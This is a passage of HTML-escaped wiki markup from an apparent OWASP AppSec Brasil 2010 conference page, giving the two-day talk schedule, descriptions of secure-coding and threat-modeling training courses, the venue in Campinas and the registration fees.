&amp;lt;center&amp;gt;&lt;br /&gt;
{| width=&amp;quot;80%&amp;quot; class=&amp;quot;t&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;17&amp;quot; align=&amp;quot;right&amp;quot; | 08:30 - 09:00 &lt;br /&gt;
| bgcolor=&amp;quot;#8595c2&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Reception Desk Open'''&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;17&amp;quot; align=&amp;quot;right&amp;quot; | 09:00 - 09:30 &lt;br /&gt;
| bgcolor=&amp;quot;#b9c2dc&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Opening Ceremony'''&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;49&amp;quot; align=&amp;quot;right&amp;quot; | 09:30 - 10:20 &lt;br /&gt;
| bgcolor=&amp;quot;#eeeeee&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Dinis Cruz'''&amp;lt;br&amp;gt; About OWASP&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;17&amp;quot; align=&amp;quot;right&amp;quot; | 10:20 - 10:40 &lt;br /&gt;
| bgcolor=&amp;quot;#d98b66&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Break'''&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;49&amp;quot; align=&amp;quot;right&amp;quot; | 10:40 - 11:40 &lt;br /&gt;
| bgcolor=&amp;quot;#b9c2dc&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Robert 'RSnake' Hansen'''&amp;lt;br&amp;gt; The Humble Cookie&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;49&amp;quot; align=&amp;quot;right&amp;quot; | 11:40 - 12:30 &lt;br /&gt;
| bgcolor=&amp;quot;#eeeeee&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Cassio Goldschmidt'''&amp;lt;br&amp;gt; Responsibility for the Harm and Risk of Software Security Flaws&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;17&amp;quot; align=&amp;quot;right&amp;quot; | 12:30 - 14:30 &lt;br /&gt;
| bgcolor=&amp;quot;#d98b66&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Lunch Break'''&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;47&amp;quot; align=&amp;quot;right&amp;quot; | 14:30 - 15:20 &lt;br /&gt;
| bgcolor=&amp;quot;#b9c2dc&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Chris Hofmann'''&amp;lt;br&amp;gt; TBD&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;32&amp;quot; align=&amp;quot;right&amp;quot; | 15:20 - 16:10 &lt;br /&gt;
| bgcolor=&amp;quot;#eeeeee&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Mano Paul'''&amp;lt;br&amp;gt; Wild Wild Wild Security Planet&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;17&amp;quot; align=&amp;quot;right&amp;quot; | 16:10 - 16:30 &lt;br /&gt;
| bgcolor=&amp;quot;#d98b66&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Break'''&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;47&amp;quot; align=&amp;quot;right&amp;quot; | 16:30 - 17:20 &lt;br /&gt;
| bgcolor=&amp;quot;#b9c2dc&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Tony Rodrigues''' &amp;lt;br&amp;gt; Tony’s Top 10 Application Artifacts: A Computer Forensics Approach to OWASP Top 10&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;32&amp;quot; align=&amp;quot;right&amp;quot; | 17:20 - 18:10 &lt;br /&gt;
| bgcolor=&amp;quot;#eeeeee&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Amichai Shulman&amp;lt;br&amp;gt;''' Business Logic Attacks – BATs and BLBs&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;47&amp;quot; align=&amp;quot;right&amp;quot; | 18:10 - 19:00 &lt;br /&gt;
| bgcolor=&amp;quot;#b9c2dc&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Gabriel Quadros''' &amp;lt;br&amp;gt; Taint Analysis of JavaScript Code to Detect Web Application Vulnerabilities&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;17&amp;quot; align=&amp;quot;right&amp;quot; | 19:00&lt;br /&gt;
| bgcolor=&amp;quot;#cccccc&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''End of the First Day'''&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt; &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conference Program - Day 2 - November 19th 2010 ==&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{| width=&amp;quot;80%&amp;quot; class=&amp;quot;t&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;17&amp;quot; align=&amp;quot;right&amp;quot; | 08:30 - 09:00 &lt;br /&gt;
| bgcolor=&amp;quot;#8595c2&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Reception Desk Open'''&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;32&amp;quot; align=&amp;quot;right&amp;quot; | 09:00 - 10:00 &lt;br /&gt;
| bgcolor=&amp;quot;#b9c2dc&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Jeremiah Grossman'''&amp;lt;br&amp;gt; TBD&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;47&amp;quot; align=&amp;quot;right&amp;quot; | 10:00 - 10:50 &lt;br /&gt;
| bgcolor=&amp;quot;#eeeeee&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Henrich Christopher Pöhls'''&amp;lt;br&amp;gt; The State of XML Digital Signatures --- How to Avoid Technical Pitfalls and Harvest the Power of Newer Signature Schemes&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;17&amp;quot; align=&amp;quot;right&amp;quot; | 10:50 - 11:10 &lt;br /&gt;
| bgcolor=&amp;quot;#d98b66&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Break'''&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;47&amp;quot; align=&amp;quot;right&amp;quot; | 11:10 - 12:00 &lt;br /&gt;
| bgcolor=&amp;quot;#eeeeee&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Rodrigo Montoro'''&amp;lt;br&amp;gt; Web Application First Aid - Virtual Patching with ModSecurity&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;32&amp;quot; align=&amp;quot;right&amp;quot; | 12:00 - 12:30 &lt;br /&gt;
| bgcolor=&amp;quot;#b9c2dc&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Cel. Antonio Carlos Menna Barreto Monclaro'''&amp;lt;br&amp;gt; Presentation of Renasic - National Network for Information Security and Cryptography&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;17&amp;quot; align=&amp;quot;right&amp;quot; | 12:30 - 14:30 &lt;br /&gt;
| bgcolor=&amp;quot;#d98b66&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Lunch Break'''&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;32&amp;quot; align=&amp;quot;right&amp;quot; | 14:30 - 15:20 &lt;br /&gt;
| bgcolor=&amp;quot;#eeeeee&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Samy Kamkar'''&amp;lt;br&amp;gt; How I met your girlfriend&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;32&amp;quot; align=&amp;quot;right&amp;quot; | 15:20 - 16:10 &lt;br /&gt;
| bgcolor=&amp;quot;#b9c2dc&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Christophe De La Fuente'''&amp;lt;br&amp;gt; Testing and Fuzzing FLEX: More fun with RIA&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;32&amp;quot; align=&amp;quot;right&amp;quot; | 16:10 - 17:00 &lt;br /&gt;
| bgcolor=&amp;quot;#eeeeee&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Bian Contos'''&amp;lt;br&amp;gt; Exploring Three Modern Attack Vectors: Insiders, Industrialized and APTs&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;17&amp;quot; align=&amp;quot;right&amp;quot; | 17:00 - 17:20&lt;br /&gt;
| bgcolor=&amp;quot;#d98b66&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Break'''&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;32&amp;quot; align=&amp;quot;right&amp;quot; | 17:20 - 18:10&lt;br /&gt;
| bgcolor=&amp;quot;#b9c2dc&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Mauro Risonho de Paula Assumpção'''&amp;lt;br&amp;gt; The Tao of Hacking - Detecting Vulnerabilities in Web based Network Devices&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;32&amp;quot; align=&amp;quot;right&amp;quot; | 18:10 - 18:50 &lt;br /&gt;
| bgcolor=&amp;quot;#eeeeee&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Dinis Cruz'''&amp;lt;br&amp;gt; OWASP O2 Project&lt;br /&gt;
|-&lt;br /&gt;
| width=&amp;quot;14%&amp;quot; height=&amp;quot;17&amp;quot; align=&amp;quot;right&amp;quot; | 18:50 - 19:00 &lt;br /&gt;
| bgcolor=&amp;quot;#cccccc&amp;quot; align=&amp;quot;CENTER&amp;quot; | '''Closing Ceremony'''&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt; &lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
==== Trainings ====&lt;br /&gt;
&lt;br /&gt;
[[Image:Aspect logo.png]] &lt;br /&gt;
&lt;br /&gt;
=== '''Secure Coding for J2EE Applications''' ===&lt;br /&gt;
&lt;br /&gt;
[[Image:Jasonli appsecBR2010.jpg|frame]] '''Date and time: November 16th and 17th'''&amp;lt;br&amp;gt; '''Instructor: Jason Li'''&amp;lt;br&amp;gt; '''Summary'''&amp;lt;br&amp;gt; Training developers on secure coding practices offers one of the highest returns on investment of any security investment by eliminating vulnerabilities at the source. Aspect’s Java EE Secure Coding Training raises developer awareness of application security issues and provides examples of ‘what to do’ and ‘what not to do.' The class is lead by an experienced developer and is delivered in a very interactive manner. This class includes hands-on exercises where the students get to perform security analysis and testing on a live Java EE web application. This specially designed environment includes deliberate flaws the students have to find, diagnose, and fix. The class also uses Java EE coding exercises to provide students with realistic hands-on secure coding experience. Students gain hands-on experience using freely available web application security test tools to find and diagnose flaws and learn to avoid them in their own code.&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
'''Audience'''&amp;lt;br&amp;gt; The intended audience for this course is intended for Java EE software developers and Java EE software testers who know how to program.&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
'''Learning Objectives'''&amp;lt;br&amp;gt; At the highest level, the objective for this course is to ensure that developers are capable of designing, building, and testing secure Java EE applications and understand why this is important.&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
'''Topics'''&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
*'''HTTP Fundamentals'''&amp;lt;br&amp;gt; &lt;br /&gt;
**Understand and be able to employ the security features involved with using HTTP (e.g., headers, cookies, SSL)&amp;lt;br&amp;gt; &lt;br /&gt;
*'''Design Principles and Patterns'''&amp;lt;br&amp;gt; &lt;br /&gt;
**Understand and be able to apply application security design principles.&amp;lt;br&amp;gt; &lt;br /&gt;
*'''Threats'''&amp;lt;br&amp;gt; &lt;br /&gt;
**Be able to identify and explain common web application security threats (e.g. , cross-site scripting, SQL injection, denial of service attacks, &amp;quot;Man-in-the-middle&amp;quot; attacks, etc.) and implement mitigation techniques.&amp;lt;br&amp;gt; &lt;br /&gt;
*'''Authentication and Session Management'''&amp;lt;br&amp;gt; &lt;br /&gt;
**Be able to handle credentials securely while providing the full range of authentication support functions, including login, change password, forgot password, remember password, logout, reauthentication, and timeouts.&amp;lt;br&amp;gt; &lt;br /&gt;
*'''Access Control'''&amp;lt;br&amp;gt; &lt;br /&gt;
**Be able to implement access control rules for the user interface, business logic, and data layers.&amp;lt;br&amp;gt; &lt;br /&gt;
*'''Input Validation'''&amp;lt;br&amp;gt; &lt;br /&gt;
**Be able to recognize potential input validation issues, particularly injection and Cross-site Scripting (XSS) problems, and implement appropriate input validation mechanisms for user input and other sources of input.&amp;lt;br&amp;gt; &lt;br /&gt;
*'''Command Injection'''&amp;lt;br&amp;gt; &lt;br /&gt;
**Understand the dangers of command injection and techniques for avoiding the introduction of this type vulnerability.&amp;lt;br&amp;gt; &lt;br /&gt;
*'''Error Handling'''&amp;lt;br&amp;gt; &lt;br /&gt;
**Be able to implement a consistent error (exception) handling and logging approach for an entire web application.&amp;lt;br&amp;gt; &lt;br /&gt;
*'''Cryptography'''&amp;lt;br&amp;gt; &lt;br /&gt;
**Learn when to apply cryptographic techniques and be able to choose algorithms and use encryption/decryption and hash functions securely.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Jason’s Bio'''&amp;lt;br&amp;gt; Jason is a remarkable trainer, mastering five different training courses within a year’s time to our most valuable longstanding but diverse clients. The client base included a large financial institution, several leading shipping and logistics Management Company, and a leading Government systems integrator.&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Jason has also taught Advanced Web Application Security Testing and Building Secure Web Applications classes at OWASP 2008 conferences in Belgium and India.&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Common remarks returned from Jason’s class evaluations include '''“This is probably one of the most important classes I‘ve been exposed to here”''' and '''“One of the best instructors I’ve ever had. Really knowledgeable of the subject. Kept class interested by sharing real life examples that depicted good scenarios”'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Using the OWASP ESAPI security API to provide security to web applications ==&lt;br /&gt;
&lt;br /&gt;
'''&amp;lt;span style=&amp;quot;color: rgb(255, 0, 0);&amp;quot;&amp;gt; Tutorial in Portuguese. &amp;lt;/span&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
'''Date and time: November 16th (9AM to 6PM)'''&amp;lt;br&amp;gt; '''Instructor: Tarcizio Vieira Neto'''&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
'''Summary'''&lt;br /&gt;
&lt;br /&gt;
The evolution of technology in the development of web applications has contributed to a significant increase in the use of this technology to meet the most diverse purposes. However, this technology is subject to critical security vulnerabilities, especially when recent research show that most vulnerabilities are present in the application itself. OWASP's ESAPI library (Enterprise Security API) appears in this scenario as an open source security library available for several languages such as Java EE, PHP,. NET, Classic ASP, Python, Ruby, among others. This short course addresses the vulnerabilities caused by common errors in applications development and security control mechanisms provided by ESAPI with focus on Java technology. The general principles learned in the course can be applied in the context of other programming languages.&lt;br /&gt;
&lt;br /&gt;
'''Target audience'''&lt;br /&gt;
&lt;br /&gt;
The desired profile of the audience are people connected to the area of web application development and security, having as a basic pre-requisite knowledge in web technologies, communication protocols HTTP and HTTPS, basic principles of security: encryption, hashing and digital signature, Java programming for Web systems.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Learning objectives'''&lt;br /&gt;
&lt;br /&gt;
* Know the main security vulnerabilities commonly found in Web applications&lt;br /&gt;
* Present the architecture of the ESAPI library and the operation of its modules with examples in Java.&lt;br /&gt;
* Present Web Application Firewall component of ESAPI.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Tópic'''&lt;br /&gt;
&lt;br /&gt;
# Introduction&lt;br /&gt;
# # Myths related to security in Web applications&lt;br /&gt;
# # OWASP Project&lt;br /&gt;
# OWASP Top 10&lt;br /&gt;
# OWASP ESAPI Library&lt;br /&gt;
# # Validation and Encoding Module&lt;br /&gt;
# # Authentication Module&lt;br /&gt;
# # Access Control Module&lt;br /&gt;
# # HTTP Utilities Module&lt;br /&gt;
# # Access references module&lt;br /&gt;
# # Cryptographic Module&lt;br /&gt;
# # Log Module&lt;br /&gt;
# # Intrusion Detection Module&lt;br /&gt;
# # integrating the AppSensor module with ESAPI&lt;br /&gt;
# # Using Filters&lt;br /&gt;
# # Configuring ESAPI&lt;br /&gt;
# # Web Application Firewall Module&lt;br /&gt;
# Benefits of Using ESAPI&lt;br /&gt;
# Conclusions&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Instructor'''&lt;br /&gt;
&lt;br /&gt;
Tarcízio Vieira Neto has a degree in Computer Science from Universidade Federal de Goiás (UFG), in Goiania. He began his career as an intern developer on a project of technology initiation funded by CNPq in the company Estratégia, in Goiania. After graduating he worked for six months at the company Fibonacci Soluções Ágeis in the same city, as a development analyst. Then worked for two years and eight months as a Brazilian Air Force officer as a systems analyst in the Air Force Computer Center in Brasilia, where he gained experience with the technologies of digital certification and collaborated in the development of an enterprise  electronic document management system.&lt;br /&gt;
&lt;br /&gt;
Currently working at SERPRO since November 2009 as an Analyst in CETEC, working on software development security, dedicated primarily in writing guidelines that standardize techniques and tools tho support security in Web applications development&lt;br /&gt;
&lt;br /&gt;
He is attending a specialization course in Information Security from University of Brasília (UnB) and has altogether more than five years of programming experience in Java.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==The Art and Science of Threat Modeling Web Applications==&lt;br /&gt;
[[Image:Mano_Paul.jpg|thumb|10px|frame|right|Mano Paul]]&lt;br /&gt;
'''&amp;lt;span style=&amp;quot;color: rgb(255, 0, 0);&amp;quot;&amp;gt; This tutorial is in English without translation. &amp;lt;/span&amp;gt;''' &lt;br /&gt;
&lt;br /&gt;
'''Date and Time: November 17 (9AM to 6PM)'''&amp;lt;br&amp;gt; '''Instructor: Mano Paul'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Summary'''&lt;br /&gt;
&lt;br /&gt;
To secure your home, you will first need to know how the thief could possibly enter and exit and where you should store your valuables. The same is true of your web applications. Unless you know what the vulnerabilities and threats of your web applications are, and what security measures you should take to protect them, ev1L h@x0rS or the enemy within (insider) could take advantage of the vulnerabilities. &lt;br /&gt;
&lt;br /&gt;
Threat Modeling is a technique that you can use to identify ATVS (attacks, threats, vulnerabilities and safeguards) that could affect your web applications. Threat Modeling helps in designing your application securely from a confidentiality, integrity, availability, authentication, authorization and auditing perspective. It is an essential activity to be undertaken during the design stage of your SDLC and helps mitigate and minimize overall risk. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Target audience'''&lt;br /&gt;
&lt;br /&gt;
The target audience is made of technical staff and management of system development organizations, with no required knowledge of languages or specific programming techniques.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Learning Objectives'''&lt;br /&gt;
&lt;br /&gt;
# Understand Threat Modeling; when to threat model and when not too&lt;br /&gt;
# Translation of threats to risks for the organization&lt;br /&gt;
# Have fun learning complex concepts with exercises and interactive games&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Topic'''&lt;br /&gt;
&lt;br /&gt;
# Introduction &lt;br /&gt;
# Why Threat Model? &lt;br /&gt;
# Is Threat Modeling Right for You? &lt;br /&gt;
# Challenges &lt;br /&gt;
# Precursors &lt;br /&gt;
# Data Classification and Threat Modeling &lt;br /&gt;
# Web Application Security Mechanisms &lt;br /&gt;
# Benefits of Threat Modeling &lt;br /&gt;
# Common Glossary of Terms &lt;br /&gt;
# Threat Agents &lt;br /&gt;
# OWASP Top 10 and common application attacks&lt;br /&gt;
# Threat Modeling Process &lt;br /&gt;
# Attack Trees &lt;br /&gt;
# Threat and Risk Frameworks e.g., STRIDE and DREAD &lt;br /&gt;
# Threat to Risk translation&lt;br /&gt;
# Threat Modeling (&amp;lt;span style=&amp;quot;color: rgb(255, 0, 0);&amp;quot;&amp;gt;Hands-On Exercise&amp;lt;/span&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Instructor'''&lt;br /&gt;
&lt;br /&gt;
Manoranjan (Mano) Paul is the Software Assurance Advisor for (ISC)2. His information security and software assurance experience includes designing and developing security programs from compliance-to-coding, security in the SDLC, writing secure code, risk management, security strategy, and security awareness training and education. He founded and serves as the CEO &amp;amp; President of Express Certifications. He also founded SecuRisk Solutions, a company that specializes in security product development and consulting.&lt;br /&gt;
&lt;br /&gt;
== Security in Service-oriented architectures ==&lt;br /&gt;
&lt;br /&gt;
'''&amp;lt;span style=&amp;quot;color: rgb(255, 0, 0);&amp;quot;&amp;gt; Tutorial in Portuguese. &amp;lt;/span&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
'''Date and time: Nov 17 (9AM to 6PM)'''&amp;lt;br&amp;gt; '''Instructors: Douglas Rodrigues, Julio Cesar Estrella e Nuno Manuel dos Santos Antunes'''&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
'''Summary'''&lt;br /&gt;
&lt;br /&gt;
Web services are the cornerstone of Service-Oriented Architectures (SOA). As critical components of business, Web services must provide high security. However, the deployment of secure Web services is a complex task. In fact, several studies show that a large number of Web Services are deployed with security breaches ranging from code vulnerabilities (eg vulnerabilities that allow code injection, including SQL injection and XPath injection) to the incorrect use of standards and security protocols. The aim of this short course is to present the theoretical and practical tools that allow the detection of vulnerabilities and security protocols and mechanisms against attacks.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Público Alvo'''&lt;br /&gt;
&lt;br /&gt;
The target audience is composed of technical staff and operational systems development organizations with requirements for knowledge of languages and programming methodologies at the intermediate level.&lt;br /&gt;
&lt;br /&gt;
'''Learning Objectives'''&lt;br /&gt;
&lt;br /&gt;
The proposed short course contributes to add new technological trends. The theme is quite interesting in relation to the great challenges of research in computing, since it fits naturally within the technological development of quality, encompassing making systems available, accurate, secure, scalable, persistent and ubiquitous, and notoriously, observing the conference area, which SOA, Web services and security are the subject of growing research in computing, as it is current and of interest to the academic community, as well as professionals who work in the labor market. The interest in SOA has grown in recent years because it is an approach that helps the system to remain flexible and scalable as they grow, and can also help to resolve the gap business / IT. Students and professionals will have the opportunity to understand the basics of vulnerability detection code level and also to detect attacks between protocols and mechanisms. The idea is that participants can use the knowledge gained in this brief short course for the development of distributed applications using Web services secure and obtain knowledge needed to diagnose and prevent attacks on this type of application.&lt;br /&gt;
&lt;br /&gt;
'''Topics'''&lt;br /&gt;
&lt;br /&gt;
#SECURITY STANDARDS AND PROTOCOLS FOR WEB SERVICES&lt;br /&gt;
#ATTACKS IN WEB SERVICES&lt;br /&gt;
## Denial of Service Attacks&lt;br /&gt;
## Attacks Brute Force&lt;br /&gt;
## Spoofing Attacks&lt;br /&gt;
## Flooding Attacks&lt;br /&gt;
## Injection Attacks&lt;br /&gt;
#EVALUATING SECURITY IN WEB SERVICES&lt;br /&gt;
## Case Study on security in Web Services&lt;br /&gt;
## &amp;quot;white box&amp;quot; analysis&lt;br /&gt;
## &amp;quot;Black-box&amp;quot; testing&lt;br /&gt;
## &amp;quot;Gray-box&amp;quot; testing&lt;br /&gt;
## Case study on the effectiveness of tools for security assessment&lt;br /&gt;
&lt;br /&gt;
'''Instructors'''&lt;br /&gt;
&lt;br /&gt;
Julio Cesar Estrella - Master in Computer Science and Computational Mathematics, in the area of Distributed Systems (Institute of Mathematical Sciences and Computer ICMC / University of São Paulo - USP). During the Masters, worked with simulated queuing network in a project related to the development of negotiation techniques in models of web servers with service differentiation. Ph.D. in Computer Science and Computational Mathematics (Institute of Mathematical Sciences and Computer ICMC / University of São Paulo - USP). The theme of his doctoral thesis was about service-oriented architectures to support QoS and characterization of workloads for Web Services Composition and Service also supports Quality of Service. He is currently a professor at the Federal Technological University of Paraná (UTFPR - Campo Mourão)&lt;br /&gt;
&lt;br /&gt;
Douglas Rodrigues - Master in Computer Science and Computational Mathematics from Institute of Mathematics and Computer Science, University of São Paulo - ICMC-USP/São Carlos. Bachelor of Computer Science from University Euripides Marília - Univ - Marília / SP. Works on the following subjects: SOA, Web Services, performance evaluation, encryption and security.&lt;br /&gt;
&lt;br /&gt;
Nuno dos Santos Antunes - attended from 2003 to 2007, the Computer Engineering program, University of Coimbra. Since 2008, carries out scientific research in the group of Software and Systems Engineering (SSE) Center for Informatics and Systems University of Coimbra (CISUC), on topics related to methodologies and tools for developing Web Services without vulnerabilities. Concluded in 2009 a Masters in Computer Engineering from the Department of Computer Engineering, University of Coimbra, with the final rating of Very Good. In 2009 he began his PhD in Sciences and Information Technology. He published five scientific papers in conferences with the process of rigorous peer review, including articles in the most prestigious conferences in the areas of reliability and services.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Black-Box &amp;amp; White-Box ASP.NET Security Reviews using the OWASP O2 Platform==&lt;br /&gt;
&lt;br /&gt;
'''&amp;lt;span style=&amp;quot;color: rgb(255, 0, 0);&amp;quot;&amp;gt; Thsi tutorial will be in Portuguese with materials in English &amp;lt;/span&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
'''Date and time: November 16th (9AM to 6 PM)'''&amp;lt;br&amp;gt; '''Instructor: Dinis Cruz'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Summary'''&lt;br /&gt;
&lt;br /&gt;
This is a hands-on Training course on how to use the OWASP O2 Platform to perform both Black-Box and White-Box security reviews on ASP.NET Web Applications&lt;br /&gt;
&lt;br /&gt;
The course is designed for security consultants/developers who are responsible for performing Penetration Tests or Security Code Reviews. The course will show practical examples of how to use the OWASP O2 Platform to find, exploit and document security vulnerabities.&lt;br /&gt;
&lt;br /&gt;
For the course's labs, a number of test and real-world applications/frameworks will be used. In order to give the students a benign test enviroment which is easy to replicate, the (vulnerable-by-design) HacmeBank ASP.NET banking application will be used throughout the course.&lt;br /&gt;
&lt;br /&gt;
'''Topics'''&lt;br /&gt;
&lt;br /&gt;
* What is the OWASP O2 Platform and how to use it?&lt;br /&gt;
* Using O2's Unit Tests for web exploration and browsing&lt;br /&gt;
* Using O2's Unit Tests for web exploitation&lt;br /&gt;
* Understanding and using O2's Web Automation Tools to find and exploit vulnerabilities in HacmeBank (Black-Box)&lt;br /&gt;
* Understanding and using O2's AST .NET Scanner to find vulnerabilities in HacmeBank (White-Box)&lt;br /&gt;
* Connecting the source-code traces with the web exploits to create a unified view of the vulnerabilties&lt;br /&gt;
* Create 'Vulnerability-driven Unit Tests' to be delivered to Developers, QA/Testers and Managers&lt;br /&gt;
* Customizing and writing new APIs (for new or modified frameworks)&lt;br /&gt;
* Using O2 to consume results from open source tools and 3rd party commercial vendors&lt;br /&gt;
* Case Study: Microsoft ASP.NET MVC&lt;br /&gt;
* Case Study: Microsoft Sharpoint&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Instructor'''&lt;br /&gt;
&lt;br /&gt;
The course is delivered by Dinis Cruz who the lead developer of the OWASP O2 Platform and has created and delivered a number of .NET Security training courses&lt;br /&gt;
&lt;br /&gt;
== Location ==&lt;br /&gt;
&lt;br /&gt;
Please check the ''Venue'' tab in this page.&lt;br /&gt;
&lt;br /&gt;
==== Venue  ====&lt;br /&gt;
&lt;br /&gt;
The event will be held in Campinas, SP, Brazil at: [http://www.cpqd.com.br Fundação CPQD]. &lt;br /&gt;
&lt;br /&gt;
You can check the location at [http://maps.google.com.br/maps/ms?source=embed&amp;amp;hl=pt-BR&amp;amp;geocode=&amp;amp;ie=UTF8&amp;amp;update=1&amp;amp;t=h&amp;amp;msa=0&amp;amp;msid=104978801628275418750.000462bf2d1a49a7571af&amp;amp;ll=-22.83125,-47.044315&amp;amp;spn=0.03718,0.04034&amp;amp;z=14 Google Maps] &lt;br /&gt;
&lt;br /&gt;
''How to get there'' &lt;br /&gt;
&lt;br /&gt;
TBD &lt;br /&gt;
&lt;br /&gt;
==== Registration  ====&lt;br /&gt;
&lt;br /&gt;
== Online Registration ==&lt;br /&gt;
&lt;br /&gt;
Registration form is available at https://creator.zoho.com/lucas.ferreira/appsec/&lt;br /&gt;
&lt;br /&gt;
== Conference Fees  ==&lt;br /&gt;
&lt;br /&gt;
'''Access to conference:'''&lt;br /&gt;
&lt;br /&gt;
* Before Sep 16th:  400.00 BRL&lt;br /&gt;
* Before Oct 16th:  500.00 BRL&lt;br /&gt;
* Before Nov 12th:  550.00 BRL&lt;br /&gt;
* On site:                  600.00 BRL&lt;br /&gt;
&lt;br /&gt;
On site registration subject to the availability of seats.&lt;br /&gt;
&lt;br /&gt;
'''Trainings'''&lt;br /&gt;
&lt;br /&gt;
* One day:    450.00 BRL&lt;br /&gt;
* Two days:  900.00 BRL&lt;br /&gt;
&lt;br /&gt;
'''Discounts'''&lt;br /&gt;
&lt;br /&gt;
